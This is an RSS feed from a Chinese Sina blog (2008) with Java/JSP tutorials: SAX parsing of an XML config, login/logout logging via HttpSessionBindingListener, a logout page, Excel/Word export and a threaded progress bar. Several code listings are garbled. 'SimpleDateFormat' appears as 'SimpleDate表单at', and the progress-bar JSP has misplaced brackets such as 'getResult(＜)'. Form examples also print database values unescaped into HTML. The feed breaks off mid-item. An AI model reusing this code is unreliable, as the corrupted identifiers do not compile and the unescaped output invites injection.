<?xml version="1.0" encoding="utf-8" ?>
<!-- generator="FEEDCREATOR_VERSION" -->
<rss version="2.0" xmlns:sns="http://blog.sina.com.cn/sns">
    <channel>
        <title>『一枝独秀』</title>
        <description></description>
        <link>http://blog.sina.com.cn/hdj</link>
        <lastBuildDate>Sun, 06 Jul 2008 09:37:15 GMT+8</lastBuildDate>
        <generator>FEEDCREATOR_VERSION</generator>
        <language>zh-cn</language>
        <copyright>Copyright 1996 - 2008 SINA Inc. All Rights Reserved.</copyright>
        <pubDate>Sun, 06 Jul 2008 01:37:15 GMT+8</pubDate>
        <item>
            <title>Java读取和处理XML的配置文件</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xul.html</link>
            <description><![CDATA[<p>
Java和XML是黄金组合,网上已经有很多文章介绍,XML作为电子商务中数据交换,已经有其不可替代的作用,但是在平时系统开发中,我们不一定都用到数据交换,是不是无法使用XML了?</P>
<p>
当然不是,现在已经有一个新趋势,java程序的配置文件都开始使用XML格式,以前是使用类似windows的INI格式.(Java中也有Propertiesy这样的类专门处理这样的属性配置文件).使用XML作为Java的配置文件有很多好处,从Tomcat的安装配置文件和J2ee的配置文件中,我们已经看到XML的普遍应用,让我们也跟随流行趋势用XML武装起来.</P>
<p>
现在关键是如何读取XML配置文件?有好几种XML解析器:主要有DOM和SAX
,这些区别网上文章介绍很多.</P>
<p>在apache的XML项目组中,目前有Xerces Xalan
Cocoon几个开发XML相关技术的project.Tomcat本身使用的是
Sun 的 JAXP,而其XSL Taglib project中使用Xerces解析器.</P>
<p>
好了,上面都是比较烦人的理论问题,还是赶快切入XML的配置文件的读取吧.</P>
<p>
在我们的程序中,通常要有一些根据主机环境确定的变量.比如数据库访问用户名和密码,不同的主机可能设置不一样.只要更改XML配置文件,就可以正常运行.</P>
<p>localhost</P>
<p>sqlname</P>
<p>username</P>
<p>password</P>
<p>
上面这个myenv.xml配置文件一般是放在tomcat的WEB-INF/classes目录下.</P>
<p>我们编制一个Java程序直接读取,将dbhost dbuser
dbpassword提取出来供其他程序访问数据库用.</P>
<p>目前使用SAX比较的多,与DOM主要区别是
SAX是一行一行读取XML文件进行分析,适合比较大文件,DOM是一次性读入内存,显然不能对付大文件.这里我们使用SAX解析,由于SAX解析器不断在发展,网上有不少文章是针对老版本的.如果你使用JDK1.4
,可以参考 使用SAX处理XML文档
一文.这里的程序是根据其改进并且经过实践调试得来的.</P>
<p>对上面myenv.xml读取的Java程序:</P>
<p>import org.xml.sax.Attributes;</P>
<p>import org.xml.sax.helpers.DefaultHandler;</P>
<p>import org.xml.sax.SAXException;</P>
<p>import java.util.Properties;</P>
<p>//使用DefaultHandler的好处 是
不必陈列出所有方法,</P>
<p>public class ConfigParser extends DefaultHandler {</P>
<p>////定义一个Properties 用来存放 dbhost dbuser
dbpassword的值</P>
<p>private Properties props;</P>
<p>private String currentSet;</P>
<p>private String currentName;</P>
<p>private StringBuffer currentValue = new StringBuffer();</P>
<p>//构建器初始化props</P>
<p>public ConfigParser() {</P>
<p>this.props = new Properties();</P>
<p>}</P>
<p>public Properties getProps() {</P>
<p>return this.props;</P>
<p>}</P>
<p>//定义开始解析元素的方法.
这里是将中的名称xxx提取出来.</P>
<p>public void startElement(String uri, String localName, String
qName, Attributes attributes)</P>
<p>throws SAXException {</P>
<p>currentValue.delete(0, currentValue.length());</P>
<p>this.currentName =qName;</P>
<p>}</P>
<p>//这里是将之间的值加入到currentValue</P>
<p>public void characters(char[] ch, int start, int length) throws
SAXException {</P>
<p>currentValue.append(ch, start, length);</P>
<p>}</P>
<p>
//在遇到结束后,将之前的名称和值一一对应保存在props中</P>
<p>public void endElement(String uri, String localName, String
qName) throws SAXException {</P>
<p>props.put(qName.toLowerCase(),
currentValue.toString().trim());</P>
<p>}</P>
<p>}</P>
<p>上面的这个解析程序比较简单吧?
其实解析XML就是这么简单.</P>
<p>现在我们已经将dbhost dbuser dbpassword的值localhost
sqlname username
password提取了出来.但是这只是在在解析器内部,我们的程序还不能访问.需要再编制一个程序.</P>
<p>import java.util.Properties;</P>
<p>import javax.xml.parsers.SAXParser;</P>
<p>import javax.xml.parsers.SAXParserFactory;</P>
<p>import java.net.URL;</P>
<p>public class ParseXML{</P>
<p>//定义一个Properties 用来存放 dbhost dbuser
dbpassword的值</P>
<p>private Properties props;</P>
<p>//这里的props</P>
<p>public Properties getProps() {</P>
<p>return this.props;</P>
<p>}</P>
<p>public void parse(String filename) throws Exception {</P>
<p>//将我们的解析器对象化</P>
<p>ConfigParser handler = new ConfigParser();</P>
<p>//获取SAX工厂对象</P>
<p>SAXParserFactory factory = SAXParserFactory.newInstance();</P>
<p>factory.setNamespaceAware(false);</P>
<p>factory.setValidating(false);</P>
<p>//获取SAX解析</P>
<p>SAXParser parser = factory.newSAXParser();</P>
<p>//得到配置文件myenv.xml所在目录.
tomcat中是在WEB-INF/classes</P>
<p>
//下例中BeansConstants是用来存放xml文件中配置信息的类,可以自己代替或定义</P>
<p>URL confURL =
BeansConstants.class.getClassLoader().getResource(filename);</P>
<p>try</P>
<p>{</P>
<p>
//将解析器和解析对象myenv.xml联系起来,开始解析</P>
<p>parser.parse(confURL.toString(), handler);</P>
<p>//获取解析成功后的属性 以后
我们其他应用程序只要调用本程序的props就可以提取出属性名称和值了</P>
<p>props = handler.getProps();</P>
<p>}finally{</P>
<p>factory=null;</P>
<p>parser=null;</P>
<p>handler=null;</P>
<p>}</P>
<p>}</P>
<p>}</P>
<p>由于我们的XML文件是使用最简单的形式
,因此解析器相对简单,但是这已经足够对付我们的配置文件了.</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xul.html#comment</comments>
            <pubDate>Wed, 25 Jun 2008 03:49:27 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xul.html</guid>
        </item>
        <item>
            <title>JBuilder2005实战JSP之日志</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xuf.html</link>
            <description><![CDATA[当用户登录系统时，在日志表中插入一条记录，记录用户登录的时间，在用户退出系统时记录用户退出系统的时间。<br/>

<br/>
　　我们利用Http<a CLASS="ReplaceKeyword" HREF="http://www.knowsky.com/tag-10.html" TARGET="_blank">Session</A>BindingListener接口来完成记录登录和退出日志的功能，该接口中定义了两个方法：<br/>

<br/>
　　·valueBound(HttpSessionBindingEvent event)<br/>
<br/>
　　·valueUnbound(HttpSessionBindingEvent event)<br/>
<br/>
　　如果一个类实现了HttpSessionBindingListener接口，当对象通过session.setAttribute()被绑定到Session中时，则对象的接口方法valueBound()被自动调用，当对象从session中移出时(通过调用session.invalidate()、session.removeAttribute()或session自动过期时)，valueUnbound()方法将被自动调用。<br/>

<br/>
　　下面我们使User.java类实现HttpSessionBindingListener接口，调整后的代码如下所示：<br/>

<br/>
　　代码清单 18
实现了HttpSessionBindingListener的User.java<br/>
<br/>
<table BORDERCOLOR="#FFCC66" WIDTH="90%" ALIGN="center" BGCOLOR="#DADACF" BORDER="1">
<tbody>
<tr>
<td>1. package bookstore;<br/>
2. import javax.servlet.http.HttpSessionBindingListener;<br/>
3. import javax.servlet.http.HttpSessionBindingEvent;<br/>
4. import java.sql.*;<br/>
5. import java.text.SimpleDate表单at;<br/>
6. import java.util.Date;<br/>
7.<br/>
8. public class User implements HttpSessionBindingListener<br/>
9. {<br/>
10. 　…<br/>
<b>11. 　private String loginDatetime;//用户登录时间<br/>
12. 　…<br/>
13. 　public void valueBound(HttpSessionBindingEvent event)<br/>
14. 　{<br/>
15. 　　Connection conn = null;<br/>
16. 　　String sqlStr = "insert into T_LOGIN_LOG(ID, USER_ID,
DT_LOGIN) " +<br/>
17. 　　　　　　" values(SEQ_LOGIN_LOG_ID.NEXTVAL,?,?
)";<br/>
18. 　　try<br/>
19. 　　{<br/>
20. 　　　conn = DBConnection.getConnection();<br/>
21. 　　　PreparedStatement pStat =
conn.prepareStatement(sqlStr);<br/>
22. 　　　loginDatetime = getCurrDatetimeStr();
//当前时间串<br/>
23. 　　　pStat.setString(1, userId);<br/>
24. 　　　pStat.setString(2, loginDatetime);<br/>
25. 　　　pStat.executeUpdate();<br/>
26.<br/>
27. 　　} catch (SQLException e)<br/>
28. 　　{<br/>
29. 　　　throw new RuntimeException(<br/>
30. 　　　　"用户登陆日志写入出错");<br/>
31. 　　} finally<br/>
32. 　{<br/>
33. 　try<br/>
34. 　{<br/>
35. 　　if (conn != null)<br/>
36. 　　{<br/>
37. 　　　conn.close();<br/>
38. 　　}<br/>
39. 　} catch (SQLException ex)<br/>
40. 　{<br/>
41. 　　ex.printStackTrace();<br/>
42. 　}<br/>
43. 　}<br/>
44. }<br/>
45.<br/>
46. public void valueUnbound(HttpSessionBindingEvent event)<br/>
47. {<br/>
48. 　Connection conn = null;<br/>
49. 　String sqlStr = " update T_LOGIN_LOG set DT_LONOUT = ? "
+<br/>
50. 　　　　　" where USER_ID=? and DT_LOGIN = ?";<br/>
51. 　try<br/>
52. 　{<br/>
53. 　　conn = DBConnection.getConnection();<br/>
54. 　　PreparedStatement pStat =
conn.prepareStatement(sqlStr);<br/>
55. 　　pStat.setString(1, getCurrDatetimeStr());<br/>
56. 　　pStat.setString(2, userId);<br/>
57. 　　pStat.setString(3, loginDatetime);<br/>
58. 　　pStat.executeUpdate();<br/>
59.<br/>
60. 　} catch (SQLException e)<br/>
61. 　{<br/>
62. 　　throw new RuntimeException(<br/>
63. 　　　"用户退出日志写入出错");<br/>
64. 　} finally<br/>
65. 　{<br/>
66. 　　try<br/>
67. 　　{<br/>
68. 　　　if (conn != null)<br/>
69. 　　　{<br/>
70. 　　　　conn.close();<br/>
71. 　　　}<br/>
72. 　　} catch (SQLException ex)<br/>
73. 　　{<br/>
74. 　　　ex.printStackTrace();<br/>
75. 　　}<br/>
76. 　}<br/>
77. }<br/>
78.<br/>
79.
//获取当前时间字串，以yyyyMMddHHmmss格式返回，如20050505010101<br/>

80. private static String getCurrDatetimeStr()<br/>
81. {<br/>
82. 　SimpleDate表单at sdf = new
SimpleDate表单at("yyyyMMddHHmmss");<br/>
83. 　return sdf.表单at(new Date());<br/>
84. }</B><br/>
85. }</TD>
</TR>
</TBODY>
</TABLE>
<p><br/>
　　valueBound()方法向T_LOGIN_LOG表插入一条登录日志，在valueUnbound()方法中更新日志表的退出时间，此外第80~84行提供了一个获取当前时间串的方法getCurrDatetimeStr()，通过该方法获取登录和退出时间点的时间字符串。<br/>

<br/>
　　下面通过描述用户登录系统直到退出时所经历的步骤说明程序如何记录用户的登录和退出时间的：<br/>

<br/>
　　1．用户通过login.<a CLASS="ReplaceKeyword" HREF="http://www.knowsky.com/jsp.asp" TARGET="_blank">jsp</A>输入密码登录后，程序转向switch.jsp控制页面。<br/>

<br/>
　　2．在switch.jsp中，我们通过session.setAttribute("ses_userBean",
userBean)方法将User.java类的对象userBean绑定到session中。<br/>

<br/>
　　3．此时userBean对象的HttpSessionBindingListener接口方法valueBound()被调用，向T_LOGIN_LOG表插入一条登录日志。<br/>

<br/>
　　4．switch.jsp转向welcome.jsp页面。<br/>
<br/>
　　5．用户点击welcome.jsp页面中的链接退出系统时，转向quit.jsp页面。<br/>

<br/>
　　6．quit.jsp调用session.invalidate()方法，userBean对象从session中清除。<br/>

<br/>
　　7．此时userBean对象的HttpSessionBindingListener接口方法valueUnbound()方法被调用，更新日志的退出时间，关闭浏览器窗口。<br/>

<br/>
　　HttpSessionBindingListener接口是Web容器的事件接口，实现接口的类在某个事件发生时自动被调用，Web容器有多个这样的事件接口，它们分别是：<br/>

<br/>
　　·ServletContextListener
接口：Web容器启动和销毁的事件处理接口，接口中定义了两个方法。<br/>

<br/>
　　·ServletContextAttributeListener接口：Web上下文属性发生更改时的事件处理接口。<br/>

<br/>
　　·HttpSessionListener接口：Session创建和销毁事件的事件处理接口。<br/>

<br/>
　　·HttpSessionAttributeListener接口：Session会话中属性对象更改的事件处理接口，该接口和我们在前面使用的HttpSessionBindingListener接口相似。<br/>

<br/>
　　此外在J2EE1.4中还提供了另外两个事件处理接口，它们是：<br/>

<br/>
　　·ServletRequestListener接口：Request请求对象创建和销毁事件处理接口。<br/>

<br/>
　　·ServletRequestAttributeListener接口：更改Request中属性对象时的事件处理接口。</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xuf.html#comment</comments>
            <pubDate>Wed, 25 Jun 2008 03:40:36 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xuf.html</guid>
        </item>
        <item>
            <title>JSP退出处理页面</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xub.html</link>
            <description><![CDATA[由于HTTP协议以请求/响应的方式工作，所以客户端退出系统时需要主动往Web服务器发送一个请求，通知Web服务器及时销毁会话，否则Web服务器只会等到会话过期时才会销毁它。<br/>

<br/>
　　我们用一个quit.jsp来处理用户退出系统的操作，quit.jsp负责注销session，及时释放资源。<br/>

<br/>
　　·注销session。<br/>
<br/>
　　·关闭浏览器窗口。<br/>
<br/>
　　其代码如下所示：<br/>
<table BORDERCOLOR="#FFCC66" WIDTH="90%" ALIGN="center" BGCOLOR="#DADACF" BORDER="1">
<tbody>
<tr>
<td>1. ＜%@ page contentType="text/html; charset=GBK" %＞<br/>
2. ＜%<br/>
3. 　<b>session.invalidate();</B><br/>
4. %＞<br/>
5. ＜script language="javaScript" ＞<br/>
6. 　window.opener = null;<br/>
7. 　window.close();<br/>
8. ＜/script＞</TD>
</TR>
</TBODY>
</TABLE>
其中第3行负责注销session，原先放入session的对象将解绑定，等待垃圾回收以释放资源。对于本例而言，session中有一个名为ses_userBean的userBean对象（它是在switch.jsp中放入session的），调用session.invalidate()后，userBean从session中解绑定，它的valueUnbound()方法会被触发调用，然后再等待垃圾回收。<br/>

<br/>
　　第5~8行是一段JavaScript脚本程序，负责关闭窗口，如果网页不是通过脚本程序打开的（window.open()），调用window.close()脚本关闭窗口前，必须先将window.opener对象置为null，如第6行所示，否则浏览器会弹出一个确定关闭的对话框，笔者发现这个问题困扰了不少的Web程序员，故特别指出。<br/>

<br/>
<table WIDTH="100%" ALIGN="center" BGCOLOR="#DADACF" BORDER="0">
<tbody>
<tr>
<td>　　<b>实战经验：</B><br/>
<br/>
　　在用户退出系统时，需要注销session，否则只有等到session在服务器中过期后，session对象才会被清除。假设一个session的不活动最大时间为30分钟（默认的时间），如果不手工清除session对象，则当一个用户退出系统后再过30分钟，这些对象所占用的系统资源才会被释放。</TD>
</TR>
</TBODY>
</TABLE>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xub.html#comment</comments>
            <pubDate>Wed, 25 Jun 2008 03:34:14 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xub.html</guid>
        </item>
        <item>
            <title>jsp中与标签要用不同的方式获得数据库中的数据问题</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xts.html</link>
            <description><![CDATA[<p>问题描述：</P>
<p>&lt;input type="text" name="name" id="name"
value=&lt;%=bean.getName() %&gt; size="12"
maxlength="12" /&gt;</P>
<p>
如上所示，input通过value属性来获得数据库bean的数据。</P>
<p>
而换成textarea时，这样做却不成。（当然数据库中有这项数据，你可以用out方法打印出来）</P>
<p>问题解决：</P>
<p>
想到几个月前，做过一个新闻相关的网站。当时也用到textarea标签。</P>
<p>对照代码一看才明白过来，示例如下：</P>
<p>&lt;textarea type="text" name="contents"
&gt; &lt;%=bean.getContents()
%&gt; &lt;/textarea&gt;</P>
<p>即将所需数据放在标签的中间就可以了！</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xts.html#comment</comments>
            <pubDate>Wed, 25 Jun 2008 02:58:56 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xts.html</guid>
        </item>
        <item>
            <title>如何将网页数据输出为Excel或Word文件</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xtp.html</link>
            <description><![CDATA[<p><span CLASS="t18"><span CLASS="t18">将一个JSP页面中的&lt;%@ page
contentType="text/html; charset=GBK" language="java"
%&gt;替换为</SPAN></SPAN></P>
<p><span CLASS="t18">&lt;%@ page
contentType="application/vnd.ms-Excel;charset=GBK"
language="java"%&gt; //Excel</SPAN></P>
<p>或</P>
<p>&lt;%@ page
contentType="application/vnd.ms-word;charset=GBK"
language="java"%&gt; //Word</P>
<p>在页面开始输出数据前中加入一行</P>
<p>&lt;%</P>
<p>
response.setHeader("Content-disposition","attachment;filename=result.xls");//Excel</P>
<p>%&gt;</P>
<p>或</P>
<p>&lt;%</P>
<p>
response.setHeader("Content-disposition","attachment;filename=result.doc");//Word</P>
<p>%&gt;</P>
<p>对页面中的其它部分的处理：</P>
<p>
去掉导入的CSS文件（可以在页面中加入&lt;style
type=”text/css”&gt;&lt;/style&gt;）</P>
<p>去掉所有的javascript或VBScript</P>
<p>其它代码不需要更改</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xtp.html#comment</comments>
            <pubDate>Wed, 25 Jun 2008 02:53:43 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xtp.html</guid>
        </item>
        <item>
            <title>JSP编程进度条设计实例</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xp6.html</link>
            <description><![CDATA[许多Web应用、企业应用涉及到长时间的操作，例如复杂的数据库查询或繁重的XML处理等，虽然这些任务主要由数据库系统或中间件完成，但任务执行的结果仍旧要借助JSP才能发送给用户。本文介绍了一种通过改进前端表现层来改善用户感觉、减轻服务器负载的办法。<br/>

当JSP调用一个必须长时间运行的操作，且该操作的结果不能（在服务器端）缓冲，用户每次请求该页面时都必须长时间等待。很多时候，用户会失去耐心，接着尝试点击浏览器的刷新按钮，最终失望地离开。<br/>

本文介绍的技术是把繁重的计算任务分离开来，由一个独立的线程运行，从而解决上述问题。当用户调用JSP页面时，JSP页面会立即返回，并提示用户任务已经启动且正在执行；JSP页面自动刷新自己，报告在独立线程中运行的繁重计算任务的当前进度，直至任务完成。<br/>

一、模拟任务<br/>
首先我们设计一个TaskBean类，它实现java.lang.Runnable接口，其run()方法在一个由JSP页面（start.jsp）启动的独立线程中运行。终止run()方法执行由另一个JSP页面stop.jsp负责。TaskBean类还实现了java.io.Serializable接口，这样JSP页面就可以将它作为JavaBean调用：<br/>

package test.barBean;<br/>
import java.io.Serializable;<br/>
public class TaskBean implements Runnable, Serializable {<br/>
private int counter;<br/>
private int sum;<br/>
private boolean started;<br/>
private boolean running;<br/>
private int sleep;<br/>
public TaskBean() {<br/>
counter = 0;<br/>
sum = 0;<br/>
started = false;<br/>
running = false;<br/>
sleep = 100;<br/>
}<br/>
}<br/>
　　TaskBean包含的“繁重任务”是计算1+2+3…+100的值，不过它不通过100*(100+1)/2=5050公式计算，而是由run()方法调用work()方法100次完成计算。work()方法的代码如下所示，其中调用Thread.sleep()是为了确保任务总耗时约10秒。<br/>

protected void work() {<br/>
try {<br/>
Thread.sleep(sleep);<br/>
counter++;<br/>
sum += counter;<br/>
} catch (InterruptedException e) {<br/>
setRunning(false);<br/>
}<br/>
}<br/>
　　status.jsp页面通过调用下面的getPercent()方法获得任务的完成状况：<br/>

public synchronized int getPercent() {<br/>
return counter;<br/>
}<br/>
　　如果任务已经启动，isStarted()方法将返回true：<br/>

public synchronized boolean isStarted() {<br/>
return started;<br/>
}<br/>
　　如果任务已经完成，isCompleted()方法将返回true：<br/>

public synchronized boolean isCompleted() {<br/>
return counter == 100;<br/>
}<br/>
　　如果任务正在运行，isRunning()方法将返回true：<br/>

public synchronized boolean isRunning() {<br/>
return running;<br/>
}<br/>
　　SetRunning()方法由start.jsp或stop.jsp调用，当running参数是true时。SetRunning()方法还要将任务标记为“已经启动”。调用setRunning(false)表示要求run()方法停止执行。<br/>

public synchronized void setRunning(boolean running) {<br/>
this.running = running;<br/>
if (running)<br/>
started = true;<br/>
}<br/>
　　任务执行完毕后，调用getResult()方法返回计算结果；如果任务尚未执行完毕，它返回null：<br/>

public synchronized Object getResult() {<br/>
if (isCompleted())<br/>
return new Integer(sum);<br/>
else<br/>
return null;<br/>
}<br/>
　　当running标记为true、completed标记为false时，run()方法调用work()。在实际应用中，run()方法也许要执行复杂的SQL查询、解析大型XML文档，或者调用消耗大量CPU时间的EJB方法。注意“繁重的任务”可能要在远程服务器上执行。报告结果的JSP页面有两种选择：或者等待任务结束，或者使用一个进度条。<br/>

public void run() {<br/>
try {<br/>
setRunning(true);<br/>
while (isRunning() &amp;&amp;
!isCompleted())<br/>
work();<br/>
} finally {<br/>
setRunning(false);<br/>
}<br/>
}<br/>
　　二、启动任务<br/>
　　start.jsp是web.xml部署描述符中声明的欢迎页面，web.xml的内容是：<br/>

＜?xml version="1.0" encoding="GB2312"?&gt;<br/>
＜!DOCTYPE web-app<br/>
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application
2.3//EN"<br/>
"http://java.sun.com/dtd/web-app_2_3.dtd"&gt;<br/>
＜web-app&gt;<br/>
＜welcome-file-list&gt;<br/>
＜welcome-file&gt;start.jsp＜/welcome-file&gt;<br/>

＜/welcome-file-list&gt;<br/>
＜/web-app&gt;<br/>
　　start.jsp启&gt;动一个专用的线程来运行“繁重的任务”，然后把HTTP请求传递给status.jsp。<br/>

　　start.jsp页面利用＜jsp:useBean&gt;标记创建一个TaskBean的实例，将scope属性定义为session使得对于来自同一浏览器的HTTP请求，其他页面也能提取到同一个Bean对象。start.jsp通过调用session.removeAttribute("task")确保＜jsp:useBean&gt;创建了一个新的Bean对象，而不是提取一个旧对象（例如，同一个用户会话中更早的JSP页面所创建的Bean对象）。<br/>

　　下面是start.jsp页面的代码清单：<br/>
＜% session.removeAttribute("task"); %&gt;<br/>
＜jsp:useBean id="task" scope="session"<br/>
class="test.barBean.TaskBean"/&gt;<br/>
＜% task.setRunning(true); %&gt;<br/>
＜% new Thread(task).start(); %&gt;<br/>
＜jsp:forward page="status.jsp"/&gt;<br/>
　　start.jsp创建并设置好TaskBean对象之后，接着创建一个Thread，并将Bean对象作为一个Runnable实例传入。调用start()方法时新创建的线程将执行TaskBean对象的run()方法。<br/>

　　现在有两个线程在并发执行：执行JSP页面的线程（称之为“JSP线程”），由JSP页面创建的线程（称之为“任务线程”）。接下来，start.jsp利用调用status.jsp，status.jsp显示出进度条以及任务的执行情况。注意status.jsp和start.jsp在同一个JSP线程中运行。
start.jsp在创建线程之前就把TaskBean的running标记设置成了true，这样，即使当JSP线程已开始执行status.jsp而任务线程的run()方法尚未启动，也能够确保用户会得到“任务已开始运行”的状态报告。<br/>

　　将running标记设置成true、启动任务线程这两行代码可以移入TaskBean构成一个新的方法，然后由JSP页面调用这个新方法。一般而言，JSP页面应当尽量少用Java代码，即我们应当尽可能地把Java代码放入Java类。不过本例中我们不遵从这一规则，把new
Thread(task).start()直接放入start.jsp突出表明JSP线程创建并启动了任务线程。<br/>

　　在JSP页面中操作多线程必须谨慎，注意JSP线程和其它线程实际上是并发执行的，就象在桌面应用程序中，我们用一个线程来处理GUI事件，另外再用一个或多个线程来处理后台任务。不过在JSP环境中，考虑到多个用户同时请求某一个页面的情况，同一个JSP页面可能会在多个线程中同时运行；另外，有时同一个用户可能会向同一个页面发出多个请求，虽然这些请求来自同一个用户，它们也会导致服务器同时运行一个JSP页面的多个线程。<br/>

　　三、任务进度<br/>
　　status.jsp页面利用一个HTML进度条向用户显示任务的执行情况。首先，status.jsp利用＜jsp:useBean&gt;标记获得start.jsp页面创建的Bean对象：<br/>

＜jsp:useBean id="task" scope="session"<br/>
class="test.barBean.TaskBean"/&gt;<br/>
　　为了及时反映任务执行进度，status.jsp会自动刷新。JavaScript代码setTimeout("location='status.jsp'",
1000)将每隔1000毫秒刷新页面，重新请求status.jsp，不需要用户干预。<br/>

＜HTML&gt;<br/>
＜HEAD&gt;<br/>
＜TITLE&gt;JSP进度条＜/TITLE&gt;<br/>
＜% if (task.isRunning()) { %&gt;<br/>
＜SCRIPT LANGUAGE="JavaScript"&gt;<br/>
setTimeout("location='status.jsp'", 1000);<br/>
＜/SCRIPT&gt;<br/>
＜% } %&gt;<br/>
＜/HEAD&gt;<br/>
＜ODY&gt;<br/>
　　进度条实际上是一个HTML表格，包含10个单元——即每个单元代表任务总体的10%进度。<br/>

＜H1
ALIGN="CENTER"&gt;JSP进度条＜/H1&gt;<br/>

＜H2 ALIGN="CENTER"&gt;<br/>
结果: ＜%= task.getResult(＜)
%&gt;＜BR&gt;<br/>
% int percent = task.getPercent(); %&gt;<br/>
＜%= percent %&gt;%<br/>
＜/H2&gt;<br/>
＜TABLE WIDTH="60%" ALIGN="CENTER"<br/>
BORDER=1 CELLPADDING=0 CELLSPACING=2&gt;<br/>
＜TR&gt;<br/>
＜% for (int i = 10; i ＜= percent; i += 10) {
%&gt;<br/>
＜TD WIDTH="10%" BGCOLOR="#000080"&gt;
＜/TD&gt;<br/>
＜% } %&gt;<br/>
＜% for (int i = 100; i &gt; percent; i -= 10) {
%&gt;<br/>
＜TD WIDTH="10%"&gt; ＜/TD&gt;<br/>
＜% } %&gt;<br/>
＜/TR&gt;<br/>
＜/TABLE&gt;<br/>
　　任务执行情况分下面几种状态：正在执行，已完成，尚未开始，已停止：<br/>

＜TABLE WIDTH="100%" BORDER=0 CELLPADDING=0
CELLSPACING=0&gt;<br/>
＜TR&gt;<br/>
＜TD ALIGN="CENTER"&gt;<br/>
＜% if (task.isRunning()) { %&gt;<br/>
正在执行<br/>
＜% } else { %&gt;<br/>
＜% if (task.isCompleted()) { %&gt;<br/>
完成<br/>
＜% } else if (!task.isStarted()) { %&gt;<br/>
尚未开始<br/>
＜% } else { %&gt;<br/>
已停止<br/>
＜% } %&gt;<br/>
＜% } %&gt;<br/>
＜/TD&gt;<br/>
＜/TR&gt;<br/>
　　页面底部提供了一个按钮，用户可以用它来停止或重新启动任务：<br/>

＜TR&gt;<br/>
＜TD ALIGN="CENTER"&gt;<br/>
＜BR&gt;<br/>
＜% if (task.isRunning()) { %&gt;<br/>
＜FORM METHOD="GET" ACTION="stop.jsp"&gt;<br/>
＜INPUT TYPE="SUBMIT" VALUE="停止"&gt;<br/>
＜/FORM&gt;<br/>
＜% } else { %&gt;<br/>
＜FORM METHOD="GET" ACTION="start.jsp"&gt;<br/>
＜INPUT TYPE="SUBMIT" VALUE="开始"&gt;<br/>
＜/FORM&gt;<br/>
＜% } %&gt;<br/>
＜/TD&gt;<br/>
＜/TR&gt;<br/>
＜/TABLE&gt;<br/>
＜/BODY&gt;＜/HTML&gt;<br/>
　　只要不停止任务，约10秒后浏览器将显示出计算结果5050：<br/>

　　四、停止任务<br/>
　　stop.jsp页面把running标记设置成false，从而停止当前的计算任务：<br/>

＜jsp:useBean id="task" scope="session"<br/>
class="test.barBean.TaskBean"/&gt;<br/>
＜% task.setRunning(false); %&gt;<br/>
＜jsp:forward page="status.jsp"/&gt;<br/>
　　注意最早的Java版本提供了Thread.stop方法，但JDK从1.2版开始已经不赞成使用Thread.stop方法，所以我们不能直接调用Thread.stop()。<br/>

　　第一次运行本文程序的时候，你会看到任务的启动有点延迟；同样地，第一次点击“停止”按钮时也可以看到任务并没有立即停止运行（特别是如果机器配置较低的话，延迟的感觉更加明显），这些延迟都是由于编译JSP页面导致的。编译好JSP页面之后，应答速度就要快多了。<br/>

　　五、实际应用<br/>
　　进度条不仅使得用户界面更加友好，而且对服务器的性能也有好处，因为进度条会不断地告诉用户当前的执行进度，用户不会再频繁地停止并重新启动（刷新）当前的任务。另一方面，创建单独的线程来执行后台任务也会消耗不少资源，必要时可考虑通过一个线程池来实现Thread对象的重用。另外，频繁地刷新进度页面也增加了网络通信开销，所以务必保持进度页面简洁短小。<br/>

　　在实际应用中，后台执行的繁重任务可能不允许停止，或者它不能提供详细的执行进度数据。例如，查找或更新关系数据库时，SQL命令执行期间不允许中途停止——不过如果用户表示他想要停止或中止任务，程序可以在SQL命令执行完毕后回退事务。<br/>

　　解析XML文档的时候，我们没有办法获知已解析内容精确的百分比。如果用DOM解析XML文档，直到解析完成后才得到整个文档树；如果用SAX，虽然可以知道当前解析的内容，但通常不能确定还有多少内容需要解析。在这些场合，任务的执行进度只能靠估计得到。<br/>

　　估计一个任务需要多少执行时间通常是很困难的，因为它涉及到许多因素，即使用实际测试的办法也无法得到可靠的结论，因为服务器的负载随时都在变化之中。一种简单的办法是测量任务每次执行所需时间，然后根据最后几次执行的平均时间估算。如果要提高估计时间的精确度，应当考虑实现一种针对应用特点的算法，综合考虑多种因素，例如要执行的SQL语句类型、要解析的XML模式的复杂程度，等等。<br/>

　　结束语：本文例子显示出用JSP、Java、HTML和JavaScript构造进度条是相当容易的，真正困难的是如何将它用到实际应用之中，特别是获得后台任务的进度信息，但这个问题没有通用的答案，每一种后台执行的任务都有它自己的特点，必须按照具体情况具体分析。]]></description>
            <author>『一枝独秀』</author>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xp6.html#comment</comments>
            <pubDate>Tue, 24 Jun 2008 14:54:17 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xp6.html</guid>
        </item>
        <item>
            <title>Java和jsp编程中应该注意的问题</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xp3.html</link>
            <description><![CDATA[1.
